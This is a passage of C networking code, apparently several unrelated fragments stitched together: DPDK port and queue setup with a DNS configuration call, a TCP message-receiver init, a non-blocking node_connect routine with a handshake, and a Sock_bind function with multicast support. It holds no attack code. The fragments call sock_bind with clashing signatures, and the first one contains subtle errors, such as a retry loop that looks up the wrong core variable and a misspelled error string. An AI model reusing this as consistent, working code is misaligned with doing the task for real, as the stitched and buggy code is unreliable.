pid); while (rx_lcore_id == rte_get_master_lcore() || !rte_lcore_is_enabled(rx_lcore_id) || lcore_q->nb_rxq == nb_rx_queue_per_core) { rx_lcore_id++; if (rx_lcore_id == RTE_MAX_LCORE) rte_exit(EXIT_FAILURE, "not enough core for port %u\n", pid); lcore_q = lcore_q_conf_get(lcore_id); } rxq = &lcore_q->rxq[lcore_q->nb_rxq]; rxq->port = pid; rxq->lcore = rx_lcore_id; rxq->qid = port_q->nb_rxq; lcore_q->nb_rxq++; port_q->nb_rxq++; socket = rte_lcore_to_socket_id(rx_lcore_id); if (socket == SOCKET_ID_ANY) socket = 0; ret = rte_eth_tx_queue_setup(pid, rxq->qid, nb_txd, socket, NULL); if (ret < 0) rte_exit(EXIT_FAILURE, "fail to setup txq %u on port %u", rxq->qid, pid); ret = rte_eth_rx_queue_setup(pid, rxq->qid, nb_rxd, socket, NULL, pkt_rx_pool); if (ret < 0) rte_exit(EXIT_FAILURE, "failt to setup rxq %u on port %u", rxq->qid, pid); ret = rte_eth_dev_start(pid); if (ret < 0) rte_exit(EXIT_FAILURE, "fail to start port %u\n", pid); } if (dns_set_cfg(&default_dns_cfg)) rte_exit(EXIT_FAILURE, "fail to set dns configuration%u\n", pid); rte_eal_mp_remote_launch(packet_launch_one_lcore, NULL, SKIP_MASTER); RTE_LCORE_FOREACH_SLAVE(lcore_id) { if (rte_eal_wait_lcore(lcore_id) < 0) return -1; } return 0; release_net_device: for (pid; pid != 0; pid--) { net_device_release(pid - 1); } return -1; }
/* * === FUNCTION ====================================================================== * Name: msg_receiver_init * Description: init msg receiver * ===================================================================================== */ int msg_receiver_init(){ int sock = tcp_sock_init(); sock_bind(sock); sock_listen(sock); return sock; }
int node_connect(int link, struct node *local_node, struct node *remote_node) { int fd; int ret; struct sockaddr local_addr; struct sockaddr remote_addr; struct sock_packet *sock_pkt; fd_set rset; fd_set wset; struct timeval tv; int error; int len; if(link == NODE_DATA_LINK && remote_node->data_conn_state == NODE_DFD_CONNECTED) { return 0; } if(link == NODE_META_LINK && remote_node->meta_conn_state == NODE_MFD_CONNECTED) { return 0; } fd = sock_create(); if(fd < 0) { return -1; } if(sock_get_addr(local_node->remote_ip, NULL, &local_addr) < 0) { goto err; } if(sock_get_addr(remote_node->remote_ip, remote_node->remote_port, &remote_addr) < 0) { goto err; } if(sock_bind(fd, &local_addr) < 0) { goto err; } sock_set_nonblock(fd); ret = sock_connect(fd, &remote_addr); if(ret < 0 && errno != EINPROGRESS) { goto err; } else if(ret == 0) { goto done; } else { FD_ZERO(&rset); FD_SET(fd, &rset); wset = rset; tv.tv_sec = SOCK_TIMEOUT; tv.tv_usec = 0; ret = select(SELECT_MAX_FDS, &rset, &wset, NULL, &tv); if(ret <= 0) { goto err; } error = 0; len = sizeof(int); if(FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) { if(getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) { goto err; } } if(error) { goto err; } goto done; } done: if(link == NODE_DATA_LINK) { sock_pkt = create_sock_packet(local_node->id, DATA_HANDSHAKE); } else if(link == NODE_META_LINK) { sock_pkt = create_sock_packet(local_node->id, META_HANDSHAKE); } else { goto err; } if(sock_pkt == NULL) { goto err; } sock_clear_nonblock(fd); sock_packet_send(fd, sock_pkt); free_sock_packet(sock_pkt); if(link == NODE_DATA_LINK) { remote_node->dfd = fd; } else if(link == NODE_META_LINK) { remote_node->mfd = fd; } return 0; err: sock_close(fd); return -1; }
Sock * Sock_bind(char const *host, char const *port, Sock *sock, sock_type socktype, void * octx) { Sock *s = NULL; int sockfd = -1; struct sockaddr *sa_p; socklen_t sa_len; char local_host[128]; int local_port; #if ENABLE_SSL if ((octx)) { if(socktype != TCP) { net_log(NET_LOG_ERR, "SSL can't work on this protocol.\n"); return NULL; } } #endif if(sock) { sockfd = sock->fd; } if (sock_bind(host, port, &sockfd, socktype)) { net_log(NET_LOG_ERR, "Error in low level sock_bind().\n"); return NULL; } if (!(s = calloc(1, sizeof(Sock)))) { net_log(NET_LOG_FATAL, "Unable to allocate a Sock struct in Sock_bind().\n"); sock_close(sockfd); return NULL; } s->fd = sockfd; s->socktype = socktype; s->flags = 0; sa_p = (struct sockaddr *)&(s->local_stg); sa_len = sizeof(struct sockaddr_storage); if(getsockname(s->fd, sa_p, &sa_len) < 0) { Sock_close(s); return NULL; } if(!sock_ntop_host(sa_p, local_host, sizeof(local_host))) memset(local_host, 0, sizeof(local_host)); if (!(s->local_host = strdup(local_host))) { net_log(NET_LOG_FATAL, "Unable to allocate local host in Sock_bind().\n"); Sock_close(s); return NULL; } local_port = sock_get_port(sa_p); if(local_port < 0) { net_log(NET_LOG_ERR, "Unable to get local port in Sock_bind().\n"); Sock_close(s); return NULL; } else s->local_port = ntohs(local_port); net_log(NET_LOG_DEBUG, "Socket bound with addr=\"%s\" and port=\"%u\".\n", s->local_host, s->local_port); if(is_multicast_address(sa_p, s->local_stg.ss_family)) { if(mcast_join(s->fd, sa_p)) { Sock_close(s); return NULL; } s->flags |= IS_MULTICAST; } return s; }